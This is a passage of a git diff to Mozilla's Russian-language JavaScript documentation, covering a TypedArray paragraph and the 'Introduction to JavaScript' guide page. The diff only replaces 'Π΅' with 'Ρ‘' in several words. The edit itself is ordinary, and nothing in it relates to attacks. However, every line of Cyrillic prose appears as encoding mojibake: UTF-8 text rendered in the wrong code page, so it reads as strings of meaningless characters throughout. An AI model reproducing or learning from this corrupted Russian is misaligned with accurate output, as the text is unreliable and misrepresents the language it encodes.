-<p>НазваниС Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ прСдставлСния массива говорит само Π·Π° сСбя. Оно прСдставляСт массив Π² распространСнных числовых Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ…,Β Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊΒ Β <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. Π‘Ρ€Π΅Π΄ΠΈ прочих сущСствуСт ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ прСдставлСниС <code>Uint8ClampedArray</code>. Оно ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ значСния ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»ΠΎΠΌ ΠΎΡ‚Β 0 Π΄ΠΎ 255. Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β ΠΏΡ€ΠΈΒ <a href="/en-US/docs/Web/API/ImageData">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… изобраТСния Π² Canvas</a>.</p>
+<p>НазваниС Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ прСдставлСния массива говорит само Π·Π° сСбя. Оно прСдставляСт массив Π² распространённых числовых Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ…,Β Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊΒ Β <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. Π‘Ρ€Π΅Π΄ΠΈ прочих сущСствуСт ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ прСдставлСниС <code>Uint8ClampedArray</code>. Оно ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ значСния ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»ΠΎΠΌ ΠΎΡ‚Β 0 Π΄ΠΎ 255. Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β ΠΏΡ€ΠΈΒ <a href="/en-US/docs/Web/API/ImageData">ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… изобраТСния Π² Canvas</a>.</p>
<p>{{page("en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "TypedArray_objects")}}</p>
diff --git a/files/ru/web/javascript/guide/introduction/index.html b/files/ru/web/javascript/guide/introduction/index.html
index 07c31a7a05..825d8cf2d6 100644
--- a/files/ru/web/javascript/guide/introduction/index.html
+++ b/files/ru/web/javascript/guide/introduction/index.html
@@ -21,7 +21,7 @@ original_slug: Web/JavaScript/Guide/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_JavaScript
<ul>
<li>ΠžΠ±Ρ‰Π΅Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Internet ΠΈ World Wide WebΒ ({{Glossary("WWW")}}).</li>
<li>Π₯ΠΎΡ€ΠΎΡˆΠ΅Π΅ Π·Π½Π°Π½ΠΈΠ΅Β HyperText Markup Language ({{Glossary("HTML")}}).</li>
- <li>НСкоторый ΠΎΠΏΡ‹Ρ‚ программирования. Если Π²Ρ‹ ΡΠ²Π»ΡΠ΅Ρ‚Π΅ΡΡŒ Π½ΠΎΠ²ΠΈΡ‡ΠΊΠΎΠΌ Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ, Ρ‚ΠΎ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с руководствами, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΌΠΈ Π½Π° страницС ΠΏΠΎΒ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript">JavaScript</a>.</li>
+ <li>НСкоторый ΠΎΠΏΡ‹Ρ‚ программирования. Если Π²Ρ‹ ΡΠ²Π»ΡΠ΅Ρ‚Π΅ΡΡŒ Π½ΠΎΠ²ΠΈΡ‡ΠΊΠΎΠΌ Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ, Ρ‚ΠΎ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с руководствами, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΌΠΈ Π½Π° страницС ΠΏΠΎΒ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript">JavaScript</a>.</li>
</ul>
<h2 id="Π“Π΄Π΅_ΠΌΠΎΠΆΠ½ΠΎ_Π½Π°ΠΉΡ‚ΠΈ_ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ_ΠΎ_JavaScript">Π“Π΄Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽΒ ΠΎ JavaScript?</h2>
@@ -40,7 +40,7 @@ original_slug: Web/JavaScript/Guide/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_JavaScript
<p>JavaScriptΒ β€” это кросс-ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ΅Π½Π½Ρ‹ΠΉ, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ скриптовый язык, ΡΠ²Π»ΡΡŽΡ‰ΠΈΠΉΡΡ нСбольшим ΠΈ лСгковСсным. Π’Π½ΡƒΡ‚Ρ€ΠΈ срСды исполнСния JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ связан с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ Π΄Π°Π½Π½ΠΎΠΉ срСды ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ Π½ΠΈΠΌΠΈ.</p>
-<p>JavaScript Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΡΡ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΡƒΡŽ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>Array</code>, <code>Date</code> ΠΈ <code>Math</code>, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ языковых элСмСнтов, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ ΠΈΒ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ конструкции. Π―Π΄Ρ€ΠΎ JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΎ для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ†Π΅Π»Π΅ΠΉ ΠΏΡƒΡ‚Π΅ΠΌ добавлСния Π² Π½Π΅Π³ΠΎ Π½ΠΎΠ²Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>JavaScript Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΡΡ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΡƒΡŽ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>Array</code>, <code>Date</code> ΠΈ <code>Math</code>, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ языковых элСмСнтов, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ ΠΈΒ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ конструкции. Π―Π΄Ρ€ΠΎ JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΎ для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ†Π΅Π»Π΅ΠΉ ΠΏΡƒΡ‚Ρ‘ΠΌ добавлСния Π² Π½Π΅Π³ΠΎ Π½ΠΎΠ²Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<ul>
<li>JavaScript Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ ядро языка, прСдоставляя ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ для контроля Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ Π΅Π³ΠΎ Document Object Model (DOM). НапримСр, клиСнтскиС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ элСмСнты Π² Ρ„ΠΎΡ€ΠΌΠ΅ HTML ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ события, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Ρ‰Π΅Π»Ρ‡ΠΎΠΊ ΠΌΡ‹ΡˆΠΈ, Π²Π²ΠΎΠ΄ Π΄Π°Π½Π½Ρ‹Ρ… Π² Ρ„ΠΎΡ€ΠΌΡƒ ΠΈ навигация ΠΏΠΎ страницам.</li>
@@ -53,7 +53,7 @@ original_slug: Web/JavaScript/Guide/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_JavaScript
<p>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ систСмы скомпилированных классов Java, построСнной на ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½ΠΈΡΡ…, JavaScript ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ систСму исполнСния, ΠΎΡΠ½ΠΎΠ²Π°Π½Π½ΡƒΡŽ Π½Π° нСбольшом числС Ρ‚ΠΈΠΏΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… числовыС, логичСскиС ΠΈ строковыС значСния. JavaScript ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΡƒΡŽ модСль Π½Π° Π±Π°Π·Π΅ прототипов вмСсто Π±ΠΎΠ»Π΅Π΅ ΠΎΠ±Ρ‰Π΅ΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ Π½Π° Π±Π°Π·Π΅ классов. МодСль ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π½Π° Π±Π°Π·Π΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ² прСдоставляСт динамичСскоС наслСдованиС, Ρ‚.Π΅. Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ наслСдуСтся, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ для ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ…Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². JavaScript Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π±Π΅Π· ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ‚ΠΈΠ²Π½Ρ‹Ρ… Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ. Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ свойствами ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΊΠ°ΠΊ свободно-Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹.</p>
-<p>По ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с Java, JavaScript являСтся языком с ΠΎΡ‡Π΅Π½ΡŒΒ ΡΠ²ΠΎΠ±ΠΎΠ΄Π½ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠΎΠΉ. Π’Π°ΠΌ Π½Π΅ Π½Π°Π΄ΠΎ ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, классы ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹. Π’Π°ΠΌ Π½Π΅ Π½Π°Π΄ΠΎ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ ΠΎ Ρ‚ΠΎΠΌ, ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π»ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ (public), ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹ΠΌΠΈ (private) ΠΈΠ»ΠΈ Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½Ρ‹ΠΌΠΈ (protected), Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²Π°ΠΌ Π½Π΅ Π½Π°Π΄ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ интСрфСйсы. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹Π΅ функциями Ρ‚ΠΈΠΏΡ‹ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ явно Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ.</p>
+<p>По ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с Java, JavaScript являСтся языком с ΠΎΡ‡Π΅Π½ΡŒΒ ΡΠ²ΠΎΠ±ΠΎΠ΄Π½ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠΎΠΉ. Π’Π°ΠΌ Π½Π΅ Π½Π°Π΄ΠΎ ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, классы ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹. Π’Π°ΠΌ Π½Π΅ Π½Π°Π΄ΠΎ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ ΠΎ Ρ‚ΠΎΠΌ, ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π»ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ (public), ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹ΠΌΠΈ (private) ΠΈΠ»ΠΈ Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹ΠΌΠΈ (protected), Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²Π°ΠΌ Π½Π΅ Π½Π°Π΄ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ интСрфСйсы. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹Π΅ функциями Ρ‚ΠΈΠΏΡ‹ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ явно Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌΠΈ.</p>
<p>JavaΒ β€” это язык программирования, основанный Π½Π° классах ΠΈ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹ΠΉ для быстрого выполнСния ΠΈ бСзопасности Ρ‚ΠΈΠΏΠΎΠ². Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ Ρ‚ΠΈΠΏΠΎΠ² ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ привСсти Ρ‚ΠΈΠΏ integer ΠΊ Ρ‚ΠΈΠΏΡƒ object reference ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½ΠΎΠΉ памяти, измСняя Π±Π°ΠΉΡ‚-ΠΊΠΎΠ΄ Java. ΠžΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Π°Ρ Π½Π° классы модСль Java ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ состоят ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΠ· классов ΠΈ ΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ². НаслСдованиС классов ΠΈ строгая типизация Π² Java ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ тСсно ΡΠ²ΡΠ·Π°Π½Π½Ρ‹Π΅Β ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². Π­Ρ‚ΠΈ трСбования Π΄Π΅Π»Π°ΡŽΡ‚ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π° Java Π±ΠΎΠ»Π΅Π΅ комплСксным, Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π° JavaScript.</p>
@@ -77,8 +77,8 @@ original_slug: Web/JavaScript/Guide/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_JavaScript
<td>Π’ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Ρ‹ (статичСская типизация).</td>
</tr>
<tr>
- <td>НС ΠΌΠΎΠΆΠ΅Ρ‚ автоматичСски Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π½Π° ТСсткий диск.</td>
- <td><span style="background-color: rgba(212, 221, 228, 0.14902);">ΠœΠΎΠΆΠ΅Ρ‚ автоматичСски Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π½Π° ТСсткий диск.</span></td>
+ <td>НС ΠΌΠΎΠΆΠ΅Ρ‚ автоматичСски Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π½Π° Тёсткий диск.</td>
+ <td><span style="background-color: rgba(212, 221, 228, 0.14902);">ΠœΠΎΠΆΠ΅Ρ‚ автоматичСски Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π½Π° Тёсткий диск.</span></td>
</tr>
</tbody>
</table>
@@ -89,7 +89,7 @@ original_slug: Web/JavaScript/Guide/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_JavaScript
<p>JavaScript стандартизирован СвропСйской ассоциациСй <a href="http://www.ecma-international.org/">Ecma International</a>, Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ посвящСна стандартизации ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… ΠΈ ΠΊΠΎΠΌΠΌΡƒΠ½ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… систСм (ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ECMA являлся Π°ΠΊΡ€ΠΎΠ½ΠΈΠΌΠΎΠΌΒ European Computer Manufacturers Association). Π­Ρ‚Π° стандартизированная вСрсия JavaScript, называСмая ECMAScript, Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ Π²ΠΎ всСх прилоТСниях, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… стандарт. Компании ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΉ стандарт языка, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ JavaScript. Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚ ECMAScript Π·Π°Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ Π² спСцификации ECMA-262. Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Ρ€Π°Π·Π½Ρ‹Ρ… вСрсиях JavaScript ΠΈ ECMAScript, ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/New_in_JavaScript">Π§Ρ‚ΠΎ Π½ΠΎΠ²ΠΎΠ³ΠΎ Π² JavaScript</a>.</p>
-<p>Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚ ECMA-262 Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½Β <a href="http://www.iso.org/iso/home.html">ISO</a>Β (International Organization for Standardization) ΠΊΠ°ΠΊΒ ISO-16262. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ Π½Π° <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">сайтС Ecma International</a>. БпСцификация ECMAScript Π½Π΅ описываСт Document Object Model (DOM), которая стандартизирована <a href="http://www.w3.org/">World Wide Web Consortium (W3C)</a>. DOM опрСдСляСт способ для доступа ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈΠ· вашСго скрипта. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½ΠΎΠ΅ прСдставлСниС ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… тСхнологиях, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… ΠΏΡ€ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Π½Π° JavaScript, ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/JavaScript_technologies_overview">ΠžΠ±Π·ΠΎΡ€ JavaScript</a>.</p>
+<p>Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚ ECMA-262 Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Ρ‘Π½Β <a href="http://www.iso.org/iso/home.html">ISO</a>Β (International Organization for Standardization) ΠΊΠ°ΠΊΒ ISO-16262. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ Π½Π° <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">сайтС Ecma International</a>. БпСцификация ECMAScript Π½Π΅ описываСт Document Object Model (DOM), которая стандартизирована <a href="http://www.w3.org/">World Wide Web Consortium (W3C)</a>. DOM опрСдСляСт способ для доступа ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈΠ· вашСго скрипта. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½ΠΎΠ΅ прСдставлСниС ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… тСхнологиях, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… ΠΏΡ€ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Π½Π° JavaScript, ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/JavaScript_technologies_overview">ΠžΠ±Π·ΠΎΡ€ JavaScript</a>.</p>
